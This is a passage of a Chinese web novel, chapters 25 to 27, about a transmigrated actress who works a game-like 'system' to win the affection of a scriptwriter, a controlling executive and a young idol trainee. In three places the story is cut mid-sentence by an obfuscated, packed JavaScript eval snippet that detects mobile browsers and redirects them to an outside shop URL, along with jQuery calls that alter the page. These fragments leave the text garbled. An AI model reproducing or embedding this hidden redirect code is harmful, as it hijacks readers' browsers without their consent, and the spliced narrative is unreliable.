她回复“好呀,明天见”,然后起身去翻行李箱。 一件浅米色的针织开衫和一条水洗牛仔裤,再来一双白色帆布鞋,都是偏日常的款式,不会显得太刻意。 临睡前,她还特意查了青溪老镇的天气,把防晒、驱蚊液和小本子塞进背包,想着说不定能记些有用的细节。 第二天早上八点五十,尚知遥站在酒店楼下,就看到一辆银灰色的轿车停在路边。车窗降下,许淮探出头来,笑着朝她挥手。 他今天穿了件浅蓝色的牛仔外套,里面是简单的白色T恤,头发用一根黑色皮筋松松地束在脑后,鼻梁上架着一副黑框眼镜,镜片后的眼睛亮得像浸了晨露的星星。 “早啊,”尚知遥拉开车门坐进去,闻到车厢里淡淡的木质香,不是霍景宴车里那种昂贵的古龙水,而是像旧书店里的纸张味,很舒服,“您来得挺早。” “怕路上堵车,提前半小时就出门了,”许淮递给她一杯热豆浆,“路过早餐摊买的,你看看合不合口味,是无糖的,我记得你上次说不喜欢太甜的。” 尚知遥接过豆浆,指尖传来温热的温度,心里微微一动——她只在剧组的早餐桌上随口提过一次,没想到许淮竟然记在了心里。 “谢谢许老师,刚好我没吃早餐。”她咬着吸管,看着许淮发动车子,“您对青溪老镇很熟吗?” “不算熟,”许淮笑了笑,“之前查资料的时候看到过,说那里保留了很多八九十年代的建筑,还有几家老字号的店铺,特别适合拍年代戏。我写新剧本的时候,总觉得缺了点‘烟火气’,想着去老镇走走,说不定能找到感觉。” 车子驶出市区,沿着国道往城郊走。路边的风景从高楼大厦变成了农田和树林,空气里的味道也从汽车尾气变成了青草香。 许淮没开导航,显然是提前做了功课,遇到岔路口时毫不犹豫地转弯。 他偶尔会跟尚知遥聊起新剧本的构思:“女主叫林小满,以前是个很有名的商业摄影师,后来因为一场意外,右眼的视力受损,再也拍不出客户想要的‘完美照片’,就躲回了外婆留下的老房子。我想写她怎么从‘追求完美’到‘接受不完美’的过程。” “那她和外婆的关系是不是很重要?”尚知遥顺着他的话往下说,“比如外婆留下的某件东西,成了她转变的契机?” 许淮眼睛一亮,侧过头看了她一眼:“你说到我心坎里了!我本来想让她通过整理外婆的旧照片找到勇气,但是没想好具体的细节。你觉得,如果外婆也是个摄影师,留下一台老相机,会不会更有共鸣?” “当然会!”尚知遥点头,“比如她一开始不敢碰那台相机,后来在老镇的暗房里,试着用它拍了张照片,冲洗出来的时候,发现照片虽然不完美,却比以前拍的‘完美作品’更有温度。这样既呼应了她的职业,也能体现她的转变。” 许淮趁着红灯,从副驾的背包里拿出一个小本子,飞快地记下她的想法,字迹工整,还在旁边画了个小小的相机符号:“这个细节太好了!我之前总觉得少了点什么,现在终于通了。知遥,你真的很懂角色的心理,比我这个编剧还敏感。” 被人真诚地认可,尚知遥心里泛起一阵暖意。 和许淮聊天很舒服,不用像对霍景宴那样小心翼翼地揣摩他的心思,也不用像对周向晨那样时刻保持年上者应有的的分寸感,只要顺着话题聊下去,就能很自然地找到共鸣。 四十多分钟后,车子停在青溪老镇的入口。 青石板路蜿蜒向前,两侧是白墙黑瓦的老房子,门口挂着褪色的红灯笼,有老人坐在门槛上摇着蒲扇,看到他们,笑着问:“是来旅游的吧?往里走,老照相馆在最里面”。 许淮从背包里拿出相机,是台复古的胶片机:“昨天特意找朋友借的,想着拍些照片当参考。你要不要试试?” 尚知遥接过相机,手感沉甸甸的,和她以前用的数码相机完全不一样。 她对着不远处的老槐树按下快门,“咔嚓”一声,声音很清脆。 许淮站在她旁边,耐心地教她调焦距:“胶片机要先估焦,再调光圈,虽然麻烦,但是拍出来的照片更有质感,就像……就像慢慢熬出来的汤,比速食汤有味道。” 两人沿着青石板路往里走,路过一家挂着“红星照相馆”招牌的老店。 木质的门框上刻着模糊的花纹,橱窗里摆着几台老式相机,还有泛黄的老照片,有穿着婚纱的新人,有举着奖状的孩子,还有全家福,每一张照片里的人都笑得很真诚。 “有人在吗?”许淮轻轻推开虚掩的门,喊了一声。 一个头发花白的老人从里屋走出来,手里拿着一块擦镜头的麂皮布:“来拍照的?我们现在只拍胶片机,还要等三天才能取照片。” “爷爷,我们是来采风的,想跟您聊聊,”许淮递过去一瓶矿泉水,“我在写一个关于摄影师的剧本,想了解一下以前的摄影行业。” 老人接过矿泉水,笑着让他们坐下:“你们想问什么?我在这照相馆干了四十多年,从学徒做到老板,啥都知道。” 尚知遥坐在小板凳上,看着墙上挂着的老相机,问:“爷爷,您刚开始做摄影师的时候,最难的是什么?” “最难的是‘等光’,”老人叹了口气,“以前没有补光灯,只能等自然光,有时候为了拍一张满意的照片,要等好几天。有一次,一个妈妈带孩子来拍周岁照,等了三天才等到好太阳,孩子都睡着了,我们就抱着孩子拍,拍出来的照片反而更自然。” 许淮在小本子上飞快地记着,偶尔抬头补充提问:“那您有没有遇到过不想拍照的客人?比如因为觉得自己不好看,或者有什么遗憾。” “有啊,”老人指了指橱窗里一张单人照,“那个姑娘,以前是个舞蹈演员,后来腿受伤了,再也不能跳舞,就不想拍照,说‘拍出来也不好看’。我跟她说,‘好看不是指长得漂亮,是指眼里有光’,后来她终于愿意拍了,你看这张照片,她虽然坐着,但是眼神很亮,比很多漂亮姑娘拍的都好看。” 尚知遥看着那张照片,忽然想起许淮说的林小满,或许林小满最后不是“重新变完美”,而是接受自己的不完美,让眼里重新有光。 她转头看向许淮,发现他也在看自己,两人的目光在空中相遇,许淮愣了一下,随即笑了笑,眼神温柔得像老镇的阳光。 从照相馆出来时,已经是中午。许淮看了看时间,说:“前面有家很出名的牛肉面馆,我查了,是青溪老镇的老字号,咱们去吃牛肉面吧?” 面馆藏在巷子深处,门口摆着两张小桌子,已经坐了几个人。老板看到他们,热情地打招呼:“两位要两碗牛肉面?加不加辣?” “一份微辣,”许淮转头看向尚知遥,露出胸有成竹的笑容,“另一份中辣。” 尚知遥也对他笑了笑,没想到他会记得自己喜欢吃中辣。 牛肉面很快上桌,汤色清亮,牛肉片厚实,撒上一把葱花和香菜,香气扑鼻。 许淮帮尚知遥加了勺醋:“这家的醋是老板自己酿的,酸中带点甜,配牛肉面刚好。” 尚知遥尝了一口,面条筋道,牛肉软烂,辣度适中,果然比城里的连锁面馆好吃多了。 她抬起头,看到许淮正看着她,嘴角带着浅浅的笑意:“好吃吗?我就说这家不错。” “好吃,”尚知遥点点头,想起自己以前当工薪阶层的时候,很少去外面吃饭,更别说这种老字号的小馆子,最多就是在楼下的快餐店点份盖饭,“比我以前吃的牛肉面都好吃。” “以后有机会,我再带你去别的老镇,”许淮笑着说,“还有很多地方有这种老字号,味道都很正宗,就是知道的人不多。” 吃完饭,两人沿着青石板路往回走。路过一家卖手工饰品的小店,尚知遥停在门口,看着橱窗里的银镯子,样式很简单,上面刻着小小的花纹,很别致。 许淮注意到她的目光,说:“喜欢的话,进去看看?” “不用了,就是随便看看,”尚知遥摇摇头,她习惯性地想“没必要花这个钱”,虽然现在的她完全买得起,但前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16683964|186566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世的消费习惯还没完全改过来。 许淮没再坚持,只是记了下店名。 两人继续往前走,路过一家旧书店,许淮拉着她进去:“我以前最喜欢逛旧书店,总能找到绝版的书。” 书店里的书架很高,摆满了各种旧书,阳光从窗户透进来,在书页上投下斑驳的光影。 许淮在书架前翻找,偶尔抽出一本,递给尚知遥:“这本《摄影构图技巧》是八十年代的版本,虽然老了点,但是讲得很细,你可以看看。” 尚知遥接过书,封面已经有些磨损,里面的字迹是手写的批注,很工整。 她翻了几页,看到一句批注:“构图不是把所有好看的东西都放进画面,而是学会取舍。” 她心里忽然有了触动,就像她现在的生活,要在任务和真实情感之间取舍,在三个攻略对象之间保持平衡。 许淮不知道她忽然微笑的原因,伸手在她面前晃了晃,开口道:“下次有空,我们去暗房试试冲洗照片吧?我认识一个朋友,有自己的暗房,刚好可以给林小满的角色找感觉。” “好呀,”尚知遥点头,“到时候咱们提前约时间。” 从旧书店出来时,已经是下午四点。许淮送尚知遥回酒店,车子驶进市区,两人都没怎么说话,车厢里很安静,只有轻音乐在流淌。 不久后,车子停在酒店楼下,尚知遥解开安全带,说:“谢谢许老师今天带我去青溪老镇,我学到了很多,也玩得很开心。” “我也很开心,”许淮看着她,眼神认真,“跟你一起采风,比我一个人去有意思多了。” 尚知遥笑了笑,推开车门下车。 刚走进酒店大堂,手机就震动了,是周向晨发来的视频请求。 她接起来,看到周向晨满头大汗的样子,灰色的训练服被汗水浸湿,紧紧贴在身上,却依旧笑得灿烂:“姐姐,你看我今天新学的舞蹈动作,是不是比以前有力多了?” 他说着,对着镜头跳了一段,虽然有些动作还不太熟练,但眼神很坚定。 尚知遥看着他,眼里满是心疼:“向晨,别太累了,注意休息,别受伤了。” “我没事,姐姐,”周向晨喘着气,“今天老师还夸我进步快呢!就是……就是有点想你,我已经快两周没见到你了。” 他说着,语气里带着一丝委屈,眼睛也红了。 “等你训练结束,我就去看你,”尚知遥轻声说,“到时候带你去吃你最爱的火锅,好不好?” “真的吗?”周向晨的眼睛瞬间亮了起来,“那我一定好好训练,争取早点结束封闭!姐姐,你最近有没有好好吃饭?有没有遇到什么麻烦?霍总……他没为难你吧?” 提到霍景宴,尚知遥愣了一下,随即摇摇头:“我很好,你别担心。霍总最近也很忙,我们没怎么联系。” 挂了电话,尚知遥靠在电梯里,心里有些复杂。 她和霍景宴的冷战已经持续了一周,就连他们的对话框,都停留在霍景宴一周前发来的一句“以后不要穿米白色了,不适合你,也不如她好看。” 她没有回复,霍景宴也没再主动联系她,像是在跟她赌气,又像是真的不在意。 接下来的几天,尚知遥和许淮的互动多了起来。 他们一起去了许淮朋友的暗房,许淮教她怎么调显影液,怎么把胶片放进暗盒,怎么在红灯下看着照片慢慢浮现。 尚知遥看着自己拍的青溪老镇照片,从模糊到清晰,心里忽然有了一种奇妙的感觉。就像她和许淮的关系,慢慢从陌生变得熟悉。 许淮还会把新写的剧本片段发给她,让她从演员的角度提意见。 尚知遥会认真地看每一段,标注出自己觉得可以改进的地方,比如“林小满第一次拿起外婆的相机时,手指可以轻轻摩挲镜头,体现她的犹豫和怀念”,许淮总是很快回复“这个细节加得好,我马上改”。 系统提示偶尔会弹出:“许淮好感度提升至52%,攻略进度提升至38%,请宿主继续保持互动频率。” 而周向晨,每天都会在深夜发消息给她,有时是一段训练视频,有时是一张汗湿的自拍,有时是几句抱怨“压腿好疼”,尚知遥都会认真回复,给她鼓励和安慰。 和霍景宴的关系依旧没有进展。 尚知遥偶尔会在朋友圈看到他的动态,比如参加商业活动的照片,比如霍氏集团新签约的艺人,却从来没有提到过她。 她也没主动联系他,心里隐隐有些赌气。凭什么每次都是她主动讨好?凭什么他总能用“我的人”来定义她? 直到一周后的周六下午,尚知遥和许淮约好在丰秋大楼楼下的西餐厅吃饭,继续讨论新剧本的细节。 这家西餐厅是许淮推荐的,环境安静,还有一面落地玻璃窗,可以看到楼下的车水马龙,很适合聊创作。 两人刚在靠窗的位置坐下,尚知遥就看到一个熟悉的身影——霍景宴穿着一身黑色西装,系着深灰色领带,正和一位头发花白的男人走进餐厅。 他身姿挺拔,周身散发着强大的气场,和平时在剧组时的松弛截然不同,显然是在谈重要的生意。 四目相对的瞬间,空气仿佛凝固了。 26. 第 26 章 霍景宴的目光先落在尚知遥身上,眼神里闪过一丝惊讶,随即又扫过她对面的许淮,眉头微不可察地皱了起来,周身的气压瞬间降低,连旁边桌子的客人都下意识安静了几分。 尚知遥的心跳漏了一拍,下意识地避开他的目光,拿起菜单假装看,指尖却有些发凉。 许淮注意到她的紧张,轻轻碰了碰她的手背,低声说:“别紧张,我们聊我们的。” 他的指尖很温暖,像定心丸一样,让尚知遥稍微放松了些。 许淮叫来侍者,点了两份菲力牛排,还特意叮嘱:“一份五分熟,一份七分熟,七分熟的那份多放些黑胡椒,谢谢。” 他转头对尚知遥笑了笑。 “你上次说胃不太舒服,吃熟一点的比较好。” 尚知遥点点头,许淮总是能记住她随口说的话,不像霍景宴,虽然也记得她的喜好,却总是带着一种“我为你安排好一切”的掌控感。 霍景宴和那位白发男人坐在离他们不远的位置。 侍者递菜单的间隙,霍景宴的目光又不受控制地飘了过来。 看到许淮正低头跟尚知遥说着什么,尚知遥嘴角带着浅笑,眼神专注,那副全然信任的模样,像根细针,轻轻扎在他心上。 “霍总,怎么了?”白发男人顺着他的目光看去,笑着说,“那位小姐看着面熟,是不是之前跟您合作过的演员?” “嗯,”霍景宴收回目光,语气平淡,却带着一丝不易察觉的紧绷,“之前拍《知己》的时候,她是女主角。” “哦,是尚知遥啊,”白发男人恍然大悟,“我看过她的戏,演技不错,很有灵气。没想到霍总您还关注演员的动态。” 霍景宴没再说话,拿起菜单,却一个字也看不进去。 他满脑子都是尚知遥和许淮相谈甚欢的画面。想起自己这段时间的冷战,不过是在跟自己赌气,却把她推得越来越远。 侍者送来餐点时,许淮起身去洗手间,霍景宴终于找到了机会。 他对白发男人说了句“失陪”,便起身朝尚知遥走去,黑色皮鞋踩在大理石地面上,发出沉闷的声响,每一步都像踩在自己的心跳上。 “好久不见。”霍景宴在许淮的位置上坐下,语气听不出情绪,目光却带着审视,扫过尚知遥面前的牛排,“你以前总说喜欢五分熟,今天怎么选了七分熟?是许老师喜欢吃熟一点的?” 尚知遥握着刀叉的手一顿,没想到他连自己吃牛排的习惯都记得,更没想到他会刻意提起许淮。她避开他的目光,小声说:“最近胃不太舒服,想少吃点生的,跟许老师没关系。” “胃不舒服怎么不告诉我?”霍景宴的眉头皱得更紧,语气里带着不易察觉的责备,“我可以让家庭医生给你调理,也可以让厨房给你准备养胃的餐食,你没必要自己硬扛,更没必要……跟别人去什么老镇采风,晒得都黑了一圈。” 尚知遥闻言皱眉,抬头看着霍景宴——他竟然知道自己去青溪老镇采风的事,还注意到自己晒黑了。 她心里泛起一阵复杂的情绪,有惊讶,有委屈,还有一丝不易察觉的惊喜,却很快被赌气的情绪压了下去:“霍总,我已经不是小孩子了,能照顾好自己。而且我跟许老师去采风,是为了工作,不是你想的那样。” “工作?”霍景宴嗤笑一声,语气里带着一丝醋意,“为了工作,需要一起去暗房冲洗照片?需要一起吃路边摊的牛肉面?需要送对方旧书?尚知遥,你把我当傻子吗?” 他的声音不大,却带着足够的压迫感,周围的客人都下意识地看过来。 尚知遥的脸色瞬间变了,她没想到霍景宴会调查自己的行踪,还说出这么伤人的话。她攥紧刀叉,声音带着一丝颤抖:“霍景宴,你跟踪我?我们是什么关系,你凭什么调查我的行踪?我做什么,跟谁在一起,跟你又有什么关系?” “跟我没关系?”霍景宴的眼神瞬间冷了下来,双手撑在桌子上,身体微微前倾,语气带着一丝危险,“尚知遥,你别忘了,你能有今天的资源,能有今天的名气,是谁给你的?你以为没有我,你能拿到《知己》的女主角?你能站在这里跟许淮谈剧本?” 就在这时,许淮回来了。 他看到尚知遥泛红的眼眶和霍景宴冰冷的脸色,立刻走到尚知遥身边,轻轻把她护在身后,对霍景宴说:“霍总,有话好好说,没必要跟知遥发脾气。我们去青溪老镇采风,确实是为了新剧本,要是您不放心,可以看看我们的采风笔记和剧本片段,没必要用这种方式质疑我们,更没必要用资源来压她。” 许淮的语气很平静,却带着不容置疑的坚定。 霍景宴看着他护着尚知遥的模样,心里的怒火更盛,却又发作不出来。 许淮的话句句在理,他找不到反驳的理由。 他只能冷哼一声,起身回到自己的位置,眼神却依旧落在尚知遥身上,带着一丝不甘和后悔。 许淮扶着尚知遥坐下,递给他一张纸巾:“别跟他一般见识,他就是太在意你,才会说这种话。” 尚知遥接过纸巾,擦了擦眼角的泪水,小声说:“我知道他可能是担心我,可他的方式太让人难受了。他总是觉得,给我资源就是对我好,却从来不会问我想要什么。” “我知道,”许淮叹了口气,“但你也别太生气,他的性格就是这样,习惯了用掌控来表达在意。我还有个剧本会要赶,先送你回酒店?” 尚知遥愣了一下,随即明白许淮是想给她和霍景宴单独相处的空间。她摇摇头:“不用送我,许老师您去忙吧,我自己回去就好。” “那你路上小心,”许淮从包里拿出一本笔记本,递给尚知遥,“这是我整理的新剧本细节大纲,你有空看看,有想法随时跟我说。要是霍总……要是需要帮助,你也可以给我打电话。” 尚知遥接过笔记本,指尖碰到他的手,感受到一丝微凉的温度。她抬头对许淮笑了笑:“谢谢许老师,您也注意安全。” 许淮点点头,又看了霍景宴一眼,才转身离开。 他的身影消失在餐厅门口时,尚知遥正想拿起包离开,系统突然弹出了紧急提示。 【警告!霍景宴好感度持续下降,当前已降至65%!若半小时内无有效互动,好感度将继续下降至60%以下,触发‘攻略难度加倍’机制!宿主需注意,任务失败将导致‘强制脱离当前世界’,请立刻采取挽救措施!】 尚知遥的心脏猛地一沉——她忘了,系统的任务才是最重要的,她不能因为一时的赌气,让之前的努力都白费。 系统的声音再次响起,带着冰冷的机械感。 【宿主需明确,任何个人情绪都应服从于攻略任务。您难道忘了,任务失败的后果是“强制脱离”,您将失去当前拥有的一切,包括生命体征。】 尚知遥闭了闭眼,深吸一口气,压下心里的委屈和不甘。她知道,她没有选择。 她转过身,看向霍景宴的位置。 他正和白发男人说着什么,眼神却时不时飘过来,带着一丝复杂的情绪。 尚知遥攥紧背包带,一步步朝他走过去,脸上努力挤出一副温婉可人的表情——是她以前为了讨好霍景宴而模仿安柠时的样子,带着恰到好处的依赖和柔弱。 “霍总,”她站在霍景宴身边,声音轻轻的,带着一丝嗔怪,“您这么久都不联系我,我还以为……以为您不需要我了呢。” 霍景宴听到她的声音,身体明显僵了一下。 他转头看向她,看到她泛红的眼眶和委屈的表情,心里的怒火瞬间就消了大半。 他最喜欢的就是尚知遥这副模样——温顺、依赖,让他觉得自己是被需要的,让他感受到熟悉的掌控感。 他对白发男人说了句“失陪一下”,然后起身拉住尚知遥的手,语气软了下来:“怎么会不需要你?只是最近太忙,没顾上联系你。别生气了,嗯?” 尚知遥被他拉着手,指尖传来温热的温度,心里却没什么波澜,只有完成任务的机械感。 她轻轻点了点头,声音更小了:“我没有生气,就是……就是有点想您。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16694914|186566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 霍景宴的眼神彻底软了下来。 他喜欢尚知遥的顺从,喜欢她的“想您”,这让他觉得,之前的冷战不过是小情侣之间的赌气,最终还是他占了上风。 他握紧她的手,对白发男人说:“王总,今天的合作就先到这里,后续让我的助理跟您对接。” 说完,他拉着尚知遥就往外走,根本没给白发男人反应的时间。 走出餐厅,霍景宴把尚知遥塞进车里,然后发动车子。 “想去哪里?”他侧过头看她,语气带着一丝宠溺,“带你去逛街,想买什么就买什么,算我给你的赔罪。” 尚知遥没说话,只是摇了摇头。 她看着窗外掠过的店铺,心里却想起了还没穿越前的自己。 那时候的她,每个月工资只有几千块,路过商场里的服装店时,只能隔着橱窗看看,从来不敢进去;看到喜欢的东西,要反复计算价格,考虑很久才能决定买不买。 但是现在,载着她的车子停在市中心的奢侈品商场门口。 霍景宴拉着她走进一家珠宝店,指着柜台里的项链说:“喜欢哪个?随便挑,我买单。” 尚知遥看着柜台里闪闪发光的项链,都是她以前想都不敢想的价格。 现在,霍景宴一句话,就能让她随便挑几万甚至几十万的珠宝。 她的目光落在一条蓝宝石项链上,吊坠是一颗小小的星星,很别致。 店员立刻拿出来,递到她面前:“小姐,这条项链是今年的新款,蓝宝石的颜色很正,很适合您的气质。” 霍景宴看她喜欢,直接对店员说:“包起来。” 尚知遥没有拒绝——她知道,这是霍景宴表达“在意”的方式,也是她维持好感度的方式。 她看着店员把项链装进精致的盒子里,心里忽然有了一种奇妙的爽感。 不是因为项链有多贵重,而是因为她终于不用再为钱发愁,终于可以拥有自己喜欢的东西。 接下来,霍景宴又带她去了服装店、皮具店、香水店。 他很少说话,只是在尚知遥犹豫的时候,直接对店员说“这个、这个、还有这个,都包起来”。 尚知遥手里的袋子越来越多,从一开始的拘谨,到后来的坦然接受——她告诉自己,这是任务的一部分,是她应得的。 路过一家书店时,尚知遥停下脚步,看着橱窗里的一本《摄影史》。 霍景宴注意到她的目光,拉着她进去,直接让店员把书包起来。“喜欢就买,”他揉了揉她的头发,语气带着一丝笑意,“以后想看什么书,不用犹豫,我给你买。” 尚知遥抱着书,心里忽然有些复杂。 她知道,霍景宴的好是建立在“掌控”之上的,他喜欢的是顺从的她,是需要他的她;可她又不得不承认,这种“随便买”的自由,是她以前从未拥有过的。 走出商场时,天已经黑了。霍景宴把买的东西放进后备箱,然后打开副驾驶的车门,让尚知遥坐进去。 “开心了吗?”他侧过头看她,眼神里带着一丝期待。 尚知遥点了点头,脸上露出一个恰到好处的笑容:“谢谢霍总,我很开心。” 车子启动后,系统提示弹出:“霍景宴好感度回升至75%,危机解除。请宿主继续保持良好互动,避免再次触发警告机制。” 尚知遥看着系统提示,心里松了口气,却又有些莫名的失落。 她靠在车窗上,看着窗外的霓虹灯。或许,这就是她的命,为了完成任务,不得不扮演别人喜欢的样子,不得不接受这种带着掌控感的好。 车子停在酒店楼下,霍景宴看着她:“要不要我上去陪你?” 尚知遥摇摇头,语气带着一丝温柔:“不用了,霍总,您今天也累了,早点回去休息吧。明天……明天您有空的话,我们一起吃早餐好不好?” 这是维持好感度的必要步骤,适当的主动,能让霍景宴更满意。 霍景宴笑了笑,揉了揉她的头发:“好,明天我来接你。” 27. 第 27 章 尚知遥是被手机震动声吵醒的。 窗外的天刚蒙蒙亮,酒店窗帘缝隙漏进的微光刚好落在屏幕上,周向晨的名字在通知栏里格外醒目。 “姐姐,今天体能训练我破纪录啦!教练说我可以提前进入舞台排演了!”后面还跟着一个蹦跳的表情包,隔着屏幕都能感受到少年的雀跃。 她揉着惺忪的睡眼回复:“这么厉害?晚上训练结束给你点奶茶,想喝哪家的?” 手指刚按发送,微信又弹出许淮的消息:“上午十点城西美术馆有当代艺术展,有位朋友的光影装置作品参展,你要是有空,一起去看看?或许能给你新角色带来点灵感。” 尚知遥眼睛一亮。 之前和许淮合作《知己》时,就知道他常和艺术圈的人往来,却很少主动提人脉相关的事。 这次主动约看展,显然是想带她多接触不同领域的创作,她立刻回复:“有空!十点美术馆门口见?” “好,我提前在门口等你。”许淮的回复很简洁,没有多余的客套,像他一贯的风格——从不刻意讨好,却总能在细节处给人惊喜。 尚知遥刚把手机放在床头柜,霍景宴的消息又跳了出来:“上午十点有个珠宝展预览会,让助理半小时后去接你,选几样喜欢的,算是之前冷战的补偿。” 语气依旧带着不容拒绝的掌控感,末尾却加了个句号,比平时多了丝不易察觉的柔和。 她看着两条“十点赴约”的消息,指尖顿了顿。 霍景宴的珠宝展是明确的示好,拒绝只会让之前破冰的关系再次紧张;可许淮的艺术展,错过也实在可惜。 犹豫几秒,她还是给霍景宴回了消息:“谢谢霍总,不过我上午约了朋友去美术馆,珠宝展能不能改天?” 没过十秒,霍景宴的电话直接打了过来。 “美术馆?”他的声音透过听筒传来,带着晨起的低哑,“和谁?许淮?” 尚知遥心里一紧,没想到他会直接点破,只能老实回答:“是,许老师说有个艺术展,我想……” 电话那头沉默了两秒,霍景宴的语气冷了些:“美术馆什么时候都去,珠宝展只有今天上午有预览资格,法国设计师的新作,你之前不是说喜欢低调的设计吗?” 他的话里带着明显的不悦,却没直接阻止。 尚知遥握着手机,想起系统之前的“好感度维持”警告,终究还是妥协:“那我跟许老师说改期,先去珠宝展。” “嗯。”霍景宴的语气缓和下来,“让助理在楼下等你,别迟到。” 挂了电话,尚知遥给许淮发消息解释,没提霍景宴的名字,只说“临时有工作安排,你要是有空,下午再一起去?” 许淮很快回复:“没关系,下午我刚好要和策展人聊点事,一起也方便。你先忙你的,下午两点美术馆见。” 没有丝毫抱怨,甚至主动把时间调整到她方便的时候。 尚知遥心里暖了暖,忽然觉得,许淮的温和从不是懦弱,而是通透——知道什么时候该退让,什么时候该坚持,从不会让人为难。 半小时后,霍景宴的助理准时在酒店楼下等候。 黑色轿车平稳地行驶在早高峰的车流里,尚知遥看着窗外掠过的商铺,忽然想起自己以前当工薪族时,路过美术馆只会在门口看一眼海报,路过珠宝店更是连脚步都不会停。 现在却能在两个“高端局”之间做选择,这种身份的落差,有时会让她觉得像活在梦里。 珠宝展设在市中心的艺术中心,展厅里灯光柔和,玻璃展柜里的珠宝在暖光下折射出细碎的光芒。 霍景宴已经在展厅入口等她,穿着深灰色西装,领口系着暗纹领带,看到她来,自然地伸手牵住她的手腕:“来得正好,设计师刚到,带你去打个招呼。” 尚知遥被他牵着走,手腕上的温度透过西装面料传来,让她有些不自在。 设计师是位白发苍苍的法国老人,看到她,笑着用不太流利的中文说:“您太太的气质很适合我的设计,清冷又有力量。” “谢谢。”尚知遥礼貌地回应,没接“霍太太”之类的调侃——上次的误会让她明白,在霍景宴面前,过度解释只会让他更在意,不如保持适度的距离。 霍景宴显然也没打算在这种场合纠结称呼,直接拉着她走到展柜前:“看看有没有喜欢的,不用客气。” 尚知遥的目光落在一条银色项链上——吊坠是小巧的月亮形状,边缘刻着细密的几何花纹,没有镶嵌任何宝石,却在灯光下泛着柔和的光泽,像她小时候在乡下看到的月亮,干净又纯粹。 “这个很好看。”她轻声说。 霍景宴示意店员拿出来:“戴上看看。” 店员小心翼翼地把项链戴在她脖子上,镜子里的吊坠刚好落在锁骨处,衬得皮肤愈发白皙。 霍景宴伸手摸了摸吊坠,指尖不经意擦过她的皮肤,带来一阵微麻的触感:“很合适,就这个。”又指了指旁边一对珍珠耳钉,“这个也包起来,搭配项链正好。” 他刷卡时动作流畅,几万块的珠宝在他眼里,像买杯咖啡一样随意。 离开珠宝展时已经是中午。霍景宴要去公司开会,让助理送她去美术馆:“下午看完展早点回酒店,晚上带你去吃那家你喜欢的私房菜。” “好。”尚知遥点点头,看着霍景宴的车汇入车流,才松了口气。 她知道,霍景宴的示好从来都带着条件——他在意的不是她去看什么展,和谁一起,而是她是否“听话”,是否在他的掌控范围内。 美术馆里很安静,午后的阳光透过落地窗洒在展厅里,给光影装置镀上了一层暖金色。 许淮已经在展厅里等她,身边站着个穿黑色连衣裙的女人,看起来三十多岁,气质干练。 看到尚知遥来,许淮笑着招手:“介绍一下,这位是本次展览的策展人陈姐,也是我的大学同学;这位是尚知遥,之前合作过《知己》的演员。” “久仰大名!”陈姐主动伸出手,笑容很亲切,“《知己》我看了三遍,你演的林薇太戳人了,尤其是最后那场雨戏,眼神里的韧劲太绝了。” 尚知遥有些受宠若惊,赶紧回握:“谢谢陈姐,您过奖了。” “不是过奖,是真的好。”陈姐拉着她走到光影装置前,“这个装置叫《回响》,用声音控制光影变化,你试试对着麦克风说句话?” 尚知遥犹豫了一下,对着麦克风轻声说:“希望每个角色都能被认真对待。” 话音刚落,装置上的光影突然变得柔和,蓝色的光带顺着声音的轨迹流动,像把她的话具象化成了画面。 许淮站在旁边,笑着说:“很适合你——对角色的敬畏心,才是演员最珍贵的东西。” 陈姐也点头:“下次我们做戏剧与艺术结合的项目,说不定能找你合作。我认识几个话剧导演,他们最近在找有灵气的演员,回头我把你联系方式推给他们。” 尚知遥心里一暖。这不是霍景宴那种带着掌控感的资源输送,而是基于对她能力的认可,是纯粹的人脉介绍。 她连忙道谢:“谢谢陈姐!要是有机会,我一定好好把握。” “不用谢我,是你自己有实力。”陈姐拍了拍她的肩膀,又转向许淮,“晚上的艺术家晚宴,你带知遥一起去?认识更多人也好。” 许淮看向尚知遥,眼神带着询问:“你要是有空的话。” “我……”尚知遥刚想答应,手机突然震动起来,是霍景宴发来的消息:“晚上六点的私房菜,让助理五点去接你,别迟到。” 她看着消息,心里有些无奈。 霍景宴从不问她的安排,只按自己的计划来。她只能对陈姐抱歉地笑了笑:“不好意思陈姐,晚上已经有约了,下次有机会再跟您一起参加。” “没关系,以后机会多的是。”陈姐没在意,拿出手机加了她的微信,“有事随时联系我。” 和许淮、陈姐分开后,尚知遥看了眼时间,下午三点多,离霍景宴约 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我怕你担心。”周向晨低下头,声音很小,“你平时已经够忙了,还要管我的事……” “你的事不是‘闲事’。”尚知遥打断他,“你为了梦想努力的样子,我很开心能看到。对了,出道舞台定在什么时候?我来给你加油。” 提到出道舞台,周向晨的眼睛亮了起来:“下周六!在市体育馆!我还有个solo环节,选了首慢歌,想唱给你听。” “好啊,我一定去。”尚知遥笑着说,伸手摸了摸他的头,像对待自家弟弟一样自然。 